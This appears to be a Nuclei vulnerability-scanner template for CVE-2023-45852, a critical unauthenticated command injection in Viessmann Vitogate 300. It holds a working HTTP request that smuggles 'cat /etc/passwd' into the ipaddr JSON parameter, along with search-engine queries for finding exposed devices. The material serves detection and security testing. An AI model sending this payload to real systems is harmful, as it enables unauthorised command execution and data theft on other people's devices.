id: CVE-2023-45852 info: name: Viessmann Vitogate 300 - Remote Code Execution author: iamnoooob,rootxharsh,pdresearch severity: critical description: | In Vitogate 300 2.1.3.0, /cgi-bin/vitogate.cgi allows an unauthenticated attacker to bypass authentication and execute arbitrary commands via shell metacharacters in the ipaddr params JSON data for the put method. reference: - https://connectivity.viessmann.com/gb/mp-fp/vitogate/vitogate-300-bn-mb.html - https://github.com/Push3AX/vul/blob/main/viessmann/Vitogate300_RCE.md - https://nvd.nist.gov/vuln/detail/CVE-2023-45852 - https://github.com/tanjiti/sec_profile - https://github.com/komodoooo/Some-things classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2023-45852 cwe-id: CWE-77 epss-score: 0.10555 epss-percentile: 0.95011 cpe: cpe:2.3:o:viessmann:vitogate_300_firmware:*:*:*:*:*:*:*:* metadata: verified: true max-request: 1 vendor: viessmann product: vitogate_300_firmware shodan-query: - title:"Vitogate 300" - http.title:"vitogate 300" fofa-query: - title="Vitogate 300" - title="vitogate 300" google-query: intitle:"vitogate 300" tags: cve2023,cve,rce,vitogate,viessmann http: - raw: - | POST /cgi-bin/vitogate.cgi HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"method":"put","form":"form-4-8","session":"","params":{"ipaddr":"{{randstr}};cat /etc/passwd"}} matchers: - type: dsl dsl: - 'status_code == 200' - 'contains_all(header, "application/json")' - 'contains_all(body, "traceroute: {{randstr}}: Unknown host", "daemon:x:1:1:")' condition: and # digest: 4a0a00473045022100f884c1a55710461c1a5f7dd21865ee459c81c817395cd3c2539d54683232e62702203f9ce7cb48966c4084a4d1fa1cf1e3696ce3af032290e6e3faf0a540b9ad0d7b:922c64590222798bb761d5b6d8e72950